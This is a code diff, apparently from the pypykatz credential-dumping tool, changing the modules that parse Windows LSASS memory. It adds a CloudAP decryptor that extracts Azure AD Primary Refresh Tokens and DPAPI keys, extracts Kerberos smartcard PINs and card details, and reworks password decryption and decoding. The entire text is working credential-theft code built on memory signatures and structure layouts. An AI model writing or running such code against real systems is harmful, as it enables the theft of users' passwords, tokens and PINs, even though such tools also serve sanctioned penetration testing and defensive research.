114 if len(enc_password) % 8 == 0: # checking if encrypted password is of correct blocksize
115 temp = self.lsa_decryptor.decrypt(enc_password)
116 if temp and len(temp) > 0:
117 if bytes_expected == False:
118 try: # normal password
119 dec_password = temp.decode('utf-16-le')
120 except: # machine password
121 dec_password = temp.hex()
122 else: # if not machine password, then check if we should trim it
123 if trim_zeroes == True:
124 dec_password = dec_password.rstrip('\x00')
125 else:
126 dec_password = temp
127
128 else: # special case for (unusable/plaintext?) orphaned credentials
129 dec_password = enc_password
115 temp = self.lsa_decryptor.decrypt(enc_password)
116 if temp and len(temp) > 0:
117 if bytes_expected == False:
118 try: # normal password
119 dec_password = temp.decode('ascii')
120 except: # machine password
121 try:
122 dec_password = temp.decode('utf-8')
123 except:
124 try:
125 dec_password = temp.decode('utf-16-le')
126 except:
127 dec_password = temp.hex()
128 else: # if not machine password, then check if we should trim it
129 if trim_zeroes == True:
130 dec_password = dec_password.rstrip('\x00')
131 else:
132 dec_password = temp
130133
131134 return dec_password
132135
1818 from .tspkg.decryptor import *
1919 from .wdigest.templates import *
2020 from .wdigest.decryptor import *
21 from .cloudap.templates import *
22 from .cloudap.decryptor import *
2123
2224 __credman__ = ['CredmanTemplate']
2325 __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential']
2729 __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential']
2830 __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential']
2931 __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential']
32 __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential']
3033
3134
32 __all__ = __credman__ + __dpapi__ + __kerberos__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__
35 __all__ = __cloudap__ + __credman__ + __dpapi__ + __kerberos__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__
0 import json
1 import hashlib
2 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
3
4 class CloudapCredential:
5 def __init__(self):
6 self.credtype = 'cloudap'
7 self.luid = None
8 self.sid = None
9 self.cachedir = None
10 self.PRT = None
11 self.key_guid = None
12 self.dpapi_key = None
13 self.dpapi_key_sha1 = None
14
15 def to_dict(self):
16 t = {}
17 t['credtype'] = self.credtype
18 t['cachedir'] = self.cachedir
19 t['PRT'] = self.PRT
20 t['key_guid'] = self.key_guid
21 t['dpapi_key'] = self.dpapi_key
22 t['dpapi_key_sha1'] = self.dpapi_key_sha1
23 return t
24
25 def to_json(self):
26 return json.dumps(self.to_dict())
27
28 def __str__(self):
29 t = '\t== Cloudap [%x]==\n' % self.luid
30 t += '\t\tcachedir %s\n' % self.cachedir
31 t += '\t\tPRT %s\n' % self.PRT
32 t += '\t\tkey_guid %s\n' % self.key_guid
33 t += '\t\tdpapi_key %s\n' % self.dpapi_key
34 t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1
35 return t
36
37 class CloudapDecryptor(PackageDecryptor):
38 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
39 super().__init__('Cloudap', lsa_decryptor, sysinfo, reader)
40 self.decryptor_template = decryptor_template
41 self.credentials = []
42
43 def find_first_entry(self):
44 position = self.find_signature('cloudAP.dll',self.decryptor_template.signature)
45 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
46 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
47 return ptr_entry, ptr_entry_loc
48
49 def add_entry(self, cloudap_entry):
50 try:
51 cred = CloudapCredential()
52 cred.luid = cloudap_entry.LocallyUniqueIdentifier
53
54 if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0:
55 return
56 cache = cloudap_entry.cacheEntry.read(self.reader)
57 cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
58 if cache.cbPRT != 0 and cache.PRT.value != 0:
59 temp = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True)
60 try:
61 temp = temp.decode()
62 except:
63 pass
64
65 cred.PRT = temp
66
67 if cache.toDetermine != 0:
68 unk = cache.toDetermine.read(self.reader)
69 if unk is not None:
70 cred.key_guid = unk.guid.value
71 cred.dpapi_key = self.decrypt_password(unk.unk)
72 cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
73
74 if cred.PRT is None and cred.key_guid is None:
75 return
76 self.credentials.append(cred)
77 except Exception as e:
78 self.log('CloudAP entry parsing error! Reason %s' % e)
79
80
81 def start(self):
82 try:
83 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
84 except Exception as e:
85 self.log('Failed to find structs! Reason: %s' % e)
86 return
87
88 self.reader.move(entry_ptr_loc)
89 entry_ptr = self.decryptor_template.list_entry(self.reader)
90 self.walk_list(entry_ptr, self.add_entry)
0 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
1 from pypykatz.commons.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, DWORD, PVOID, PSID, GUID, DWORD64
2 from pypykatz.lsadecryptor.package_commons import PackageTemplate
3
4 class CloudapTemplate(PackageTemplate):
5 def __init__(self):
6 super().__init__('Cloudap')
7 self.signature = None
8 self.first_entry_offset = None
9 self.list_entry = None
10
11 @staticmethod
12 def get_template(sysinfo):
13 template = CloudapTemplate()
14 if sysinfo.buildnumber <= WindowsBuild.WIN_10_1903.value:
15 return None
16
17 if sysinfo.architecture == KatzSystemArchitecture.X64:
18 template.signature = b'\x44\x8b\x01\x44\x39\x42\x18\x75'
19 template.first_entry_offset = -9
20 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY
21
22 elif sysinfo.architecture == KatzSystemArchitecture.X86:
23 template.signature = b'\x8b\x31\x39\x72\x10\x75'
24 template.first_entry_offset = -8
25 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY
26
27 else:
28 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
29
30 template.log_template('list_entry', template.list_entry)
31 return template
32
33 class PKIWI_CLOUDAP_CACHE_UNK(POINTER):
34 def __init__(self, reader):
35 super().__init__(reader, KIWI_CLOUDAP_CACHE_UNK)
36
37 class KIWI_CLOUDAP_CACHE_UNK:
38 def __init__(self, reader):
39 self.unk0 = DWORD(reader)
40 self.unk1 = DWORD(reader)
41 self.unk2 = DWORD(reader)
42 self.unkSize = DWORD(reader).value
43 self.guid = GUID(reader)
44 self.unk = reader.read(64)
45
46
47 class PKIWI_CLOUDAP_CACHE_LIST_ENTRY(POINTER):
48 def __init__(self, reader):
49 super().__init__(reader, KIWI_CLOUDAP_CACHE_LIST_ENTRY)
50
51 class KIWI_CLOUDAP_CACHE_LIST_ENTRY:
52 def __init__(self, reader):
53 self.Flink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)
54 self.Blink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)
55 self.unk0 = DWORD(reader)
56 reader.align()
57 self.LockList = PVOID(reader)
58 self.unk1 = PVOID(reader)
59 self.unk2 = PVOID(reader)
60 self.unk3 = PVOID(reader)
61 self.unk4 = PVOID(reader)
62 self.unk5 = PVOID(reader)
63 self.unk6 = DWORD(reader)
64 self.unk7 = DWORD(reader)
65 self.unk8 = DWORD(reader)
66 self.unk9 = DWORD(reader)
67 self.unkLogin0 = PVOID(reader) #PCWSTR
68 self.unkLogin1 = PVOID(reader) #PCWSTR
69 self.toname = reader.read(130) #wchar_t [64 + 1];
70 reader.align()
71 self.Sid = PSID(reader).value
72 self.unk10 = DWORD(reader)
73 self.unk11 = DWORD(reader)
74 self.unk12 = DWORD(reader)
75 self.unk13 = DWORD(reader)
76 self.toDetermine = PKIWI_CLOUDAP_CACHE_UNK(reader)
77 self.unk14 = PVOID(reader)
78 self.cbPRT = DWORD(reader).value
79 reader.align()
80 self.PRT = PVOID(reader) #PBYTE(reader)
81
82 class PKIWI_CLOUDAP_LOGON_LIST_ENTRY(POINTER):
83 def __init__(self, reader):
84 super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY)
85
86 class KIWI_CLOUDAP_LOGON_LIST_ENTRY:
87 def __init__(self, reader):
88 self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader)
89 self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader)
90 self.unk0 = DWORD(reader)
91 self.unk1 = DWORD(reader)
92 self.LocallyUniqueIdentifier = LUID(reader).value
93 self.unk2 = DWORD64(reader)
94 self.unk3 = DWORD64(reader)
95 self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)
6868 self.user = LSA_UNICODE_STRING(reader)
6969 self.unk8 = ULONG(reader).value
7070 reader.align()
71 self.server2 = LSA_UNICODE_STRING
71 self.server2 = LSA_UNICODE_STRING(reader)
7272
7373 class PKIWI_CREDMAN_LIST_ENTRY_60_X86(POINTER):
7474 def __init__(self, reader):
5050
5151 def add_entry(self, dpapi_entry):
5252
53 if dpapi_entry and dpapi_entry.keySize > 0 and dpapi_entry.keySize % 8 == 0:
53 if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
5454 dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
5555 sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
5656
2020 self.domainname = None
2121 self.luid = None
2222 self.tickets = []
23 self.pin = None
24 self.cardinfo = None
2325
2426 def __str__(self):
2527 t = '\t== Kerberos ==\n'
2628 t += '\t\tUsername: %s\n' % self.username
2729 t += '\t\tDomain: %s\n' % self.domainname
28 t += '\t\tPassword: %s\n' % self.password
30 if self.password is not None:
31 t += '\t\tPassword: %s\n' % self.password
32 if self.pin is not None:
33 t += '\t\tPIN: %s\n' % self.pin
34 if self.cardinfo is not None:
35 t += '\t\tCARDINFO: \n'
36 t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName']
37 t += '\t\t\tReaderName: %s\n' % self.cardinfo['ReaderName']
38 t += '\t\t\tContainerName: %s\n' % self.cardinfo['ContainerName']
39 t += '\t\t\tCSPName: %s\n' % self.cardinfo['CSPName']
2940
3041 # TODO: check if users actually need this.
3142 # I think it's not useful to print out the kerberos ticket data as string, as noone uses it directly.
4253 t['password'] = self.password
4354 t['domainname'] = self.domainname
4455 t['luid'] = self.luid
56 t['pin'] = self.pin
57 t['cardinfo'] = self.cardinfo
4558 t['tickets'] = []
4659 for ticket in self.tickets:
4760 t['tickets'] = ticket.to_dict()
5063
5164
5265 class KerberosDecryptor(PackageDecryptor):
53 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
66 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo, with_tickets = True):
5467 super().__init__('Kerberos', lsa_decryptor, sysinfo, reader)
5568 self.decryptor_template = decryptor_template
69 self.with_tickets = with_tickets
5670 self.credentials = []
5771
5872 self.current_ticket_type = None
108122
109123 self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
110124 self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
111 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
112
125 if self.current_cred.username.endswith('$') is True:
126 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
127 if self.current_cred.password is not None:
128 self.current_cred.password = self.current_cred.password.hex()
129 else:
130 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
131
132 if kerberos_logon_session.SmartcardInfos.value != 0:
133 csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
134 pin_enc = csp_info.PinCode.read_maxdata(self.reader)
135 self.current_cred.pin = self.decrypt_password(pin_enc)
136 if csp_info.CspDataLength != 0:
137 self.current_cred.cardinfo = csp_info.CspData.get_infos()
138
113139 #### key list (still in session) this is not a linked list (thank god!)
114140 if kerberos_logon_session.pKeyList.value != 0:
115141 key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
117143 key_list.read(self.reader, self.decryptor_template.hash_password_struct)
118144 for key in key_list.KeyEntries:
119145 pass
146 ### GOOD
147 #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
148 #print(keydata_enc)
149 #keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
150 #print(keydata_enc.hex())
151 #input('KEY?')
152
153
120154 #print(key.generic.Checksump.value)
121155
122156 #self.log_ptr(key.generic.Checksump.value, 'Checksump', datasize = key.generic.Size)
167201 #
168202 #input()
169203
170
171 if kerberos_logon_session.Tickets_1.Flink.value != 0 and \
172 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \
173 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 :
174 self.current_ticket_type = KerberosTicketType.TGS
175 self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
176
177 if kerberos_logon_session.Tickets_2.Flink.value != 0 and \
178 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \
179 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 :
180 self.current_ticket_type = KerberosTicketType.CLIENT
181 self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
182
183 if kerberos_logon_session.Tickets_3.Flink.value != 0 and \
184 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \
185 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 :
186 self.current_ticket_type = KerberosTicketType.TGT
187 self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
188 self.current_ticket_type = None
204 if self.with_tickets is True:
205 if kerberos_logon_session.Tickets_1.Flink.value != 0 and \
206 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \
207 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 :
208 self.current_ticket_type = KerberosTicketType.TGS
209 self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
210
211 if kerberos_logon_session.Tickets_2.Flink.value != 0 and \
212 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \
213 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 :
214 self.current_ticket_type = KerberosTicketType.CLIENT
215 self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
216
217 if kerberos_logon_session.Tickets_3.Flink.value != 0 and \
218 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \
219 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 :
220 self.current_ticket_type = KerberosTicketType.TGT
221 self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
222 self.current_ticket_type = None
189223 self.credentials.append(self.current_cred)
190224
191225
3333 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51
3434 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
3535 template.hash_password_struct = KERB_HASHPASSWORD_5
36 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
36 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
3737
3838
3939 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
4343 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52
4444 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
4545 template.hash_password_struct = KERB_HASHPASSWORD_5
46 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
46 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
4747
4848 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
4949 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
5252 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60
5353 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
5454 template.hash_password_struct = KERB_HASHPASSWORD_6
55 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
55 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
5656
5757 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
5858 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
6161 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
6262 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
6363 template.hash_password_struct = KERB_HASHPASSWORD_6
64 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
64 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
6565
6666 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
6767 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
7070 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
7171 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
7272 template.hash_password_struct = KERB_HASHPASSWORD_6
73 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62
73 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62
7474
7575 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value:
7676 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
7979 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
8080 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
8181 template.hash_password_struct = KERB_HASHPASSWORD_6
82 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
82 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
8383
8484 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
8585 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
8888 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10
8989 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
9090 template.hash_password_struct = KERB_HASHPASSWORD_6
91 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
91 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
9292
9393
9494 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
9898 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
9999 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
100100 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
101 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
101 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
102102
103103 else:
104104 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
112112 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51
113113 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
114114 template.hash_password_struct = KERB_HASHPASSWORD_5
115 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
115 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
116116
117117
118118 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
122122 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52
123123 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
124124 template.hash_password_struct = KERB_HASHPASSWORD_5
125 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
125 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
126126
127127 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
128128 template.signature = b'\x53\x8b\x18\x50\x56'
131131 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60
132132 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
133133 template.hash_password_struct = KERB_HASHPASSWORD_6
134 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
134 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
135135
136136 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
137137 template.signature = b'\x53\x8b\x18\x50\x56'
140140 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
141141 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
142142 template.hash_password_struct = KERB_HASHPASSWORD_6
143 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
143 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
144144
145145 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_BLUE.value:
146146 template.signature = b'\x57\x8b\x38\x50\x68'
149149 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
150150 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
151151 template.hash_password_struct = KERB_HASHPASSWORD_6
152 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62
152 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62
153153
154154 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
155155 template.signature = b'\x56\x8b\x30\x50\x57'
158158 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
159159 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
160160 template.hash_password_struct = KERB_HASHPASSWORD_6
161 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62
161 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62
162162
163163 ####DOUBLE CHECK THE STRUCTURES BELOW THIS LINE!!!!
164164 #### kerbHelper[N] -> KerberosReferences... {-15,7}}, here N= 7
170170 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
171171 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
172172 template.hash_password_struct = KERB_HASHPASSWORD_6
173 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
173 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
174174
175175
176176 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value:
180180 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
181181 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
182182 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
183 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
183 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
184184
185185
186186 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber:
190190 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
191191 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
192192 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
193 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
193 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
194194
195195
196196 else:
205205
206206
207207 class KERB_SMARTCARD_CSP_INFO_5:
208 def __init__(self, reader):
209 self.dwCspInfoLen = DWORD(reader).value
208 def __init__(self, reader, size):
209 pos = reader.tell()
210 #self.dwCspInfoLen = DWORD(reader).value
210211 self.ContextInformation = PVOID(reader).value
211212 self.nCardNameOffset = ULONG(reader).value
212213 self.nReaderNameOffset = ULONG(reader).value
213214 self.nContainerNameOffset = ULONG(reader).value
214215 self.nCSPNameOffset = ULONG(reader).value
215 self.bBuffer = WCHAR(reader).value
216 diff = reader.tell() - pos
217 data = reader.read(size - diff + 4)
218 self.bBuffer = io.BytesIO(data)
219
220 def read_wcharnull(self, buffer, tpos):
221 pos = buffer.tell()
222 buffer.seek(tpos, 0)
223 data = b''
224 i=0
225 nc = 0
226 while i < 255:
227 if nc == 3:
228 break
229 c = buffer.read(1)
230 if c == b'\x00':
231 nc += 1
232 else:
233 nc = 0
234 data += c
235 i += 1
236 buffer.seek(pos, 0)
237 return data.decode('utf-16-le').replace('\x00', '')
238
239 def get_infos(self):
240 t = {}
241 t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset)
242 t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset)
243 t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset)
244 t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset)
245
246 return t
216247
217248 class PKERB_SMARTCARD_CSP_INFO(POINTER):
218249 def __init__(self, reader):
220251
221252
222253 class KERB_SMARTCARD_CSP_INFO:
223 def __init__(self, reader):
224 self.dwCspInfoLen = DWORD(reader).value
254 def __init__(self, reader, size):
255 pos = reader.tell()
256 #self.dwCspInfoLen = DWORD(reader).value
225257 self.MessageType = DWORD(reader).value
226258 self.ContextInformation = PVOID(reader).value #U
227259 self.SpaceHolderForWow64 = ULONG64(reader).value #U
228260 self.flags = DWORD(reader).value
229261 self.KeySpec = DWORD(reader).value
230 self.nCardNameOffset = ULONG(reader).value
231 self.nReaderNameOffset = ULONG(reader).value
232 self.nContainerNameOffset = ULONG(reader).value
233 self.nCSPNameOffset = ULONG(reader).value
234 self.bBuffer[ANYSIZE_ARRAY] = WCHAR(reader).value
262 self.nCardNameOffset = ULONG(reader).value * 2
263 self.nReaderNameOffset = ULONG(reader).value * 2
264 self.nContainerNameOffset = ULONG(reader).value * 2
265 self.nCSPNameOffset = ULONG(reader).value * 2
266 diff = reader.tell() - pos
267 data = reader.read(size - diff + 4)
268 self.bBuffer = io.BytesIO(data)
269
270 def read_wcharnull(self, buffer, tpos):
271 pos = buffer.tell()
272 buffer.seek(tpos, 0)
273 data = b''
274 i=0
275 nc = 0
276 while i < 255:
277 if nc == 3:
278 break
279 c = buffer.read(1)
280 if c == b'\x00':
281 nc += 1
282 else:
283 nc = 0
284 data += c
285 i += 1
286 buffer.seek(pos, 0)
287 return data.decode('utf-16-le').replace('\x00', '')
288
289 def get_infos(self):
290 t = {}
291 t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset)
292 t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset)
293 t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset)
294 t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset)
295
296 return t
235297
236298 class PKIWI_KERBEROS_CSP_INFOS_5(POINTER):
237299 def __init__(self, reader):
240302 class KIWI_KERBEROS_CSP_INFOS_5:
241303 def __init__(self, reader):
242304 self.PinCode = LSA_UNICODE_STRING(reader)
243 self.unk0 = PVOID(reader).value
244 self.unk1 = PVOID(reader).value
245 self.CertificateInfos = PVOID(reader).value
246 self.unkData = PVOID(reader).value # // 0 = CspData
305 self.unk0 = PVOID(reader)
306 self.unk1 = PVOID(reader)
307 self.CertificateInfos = PVOID(reader)
308 self.unkData = PVOID(reader) # // 0 = CspData
247309 self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value
248310 self.CspDataLength = DWORD(reader).value
249 self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader).value
311 self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength)
250312
251313 class PKIWI_KERBEROS_CSP_INFOS_60(POINTER):
252314 def __init__(self, reader):
263325 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
264326 self.unkFlags = DWORD(reader).value #// 0x141(reader).value
265327 self.CspDataLength = DWORD(reader).value
266 self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value
328 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
267329
268330 class PKIWI_KERBEROS_CSP_INFOS_62(POINTER):
269331 def __init__(self, reader):
281343 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
282344 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)
283345 self.CspDataLength = DWORD(reader).value
284 self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value
346 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
285347
286348 class PKIWI_KERBEROS_CSP_INFOS_10(POINTER):
287349 def __init__(self, reader):
299361 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value
300362 self.unk3 = PVOID(reader).value
301363 self.CspDataLength = DWORD(reader).value
302 self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value
364 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
303365
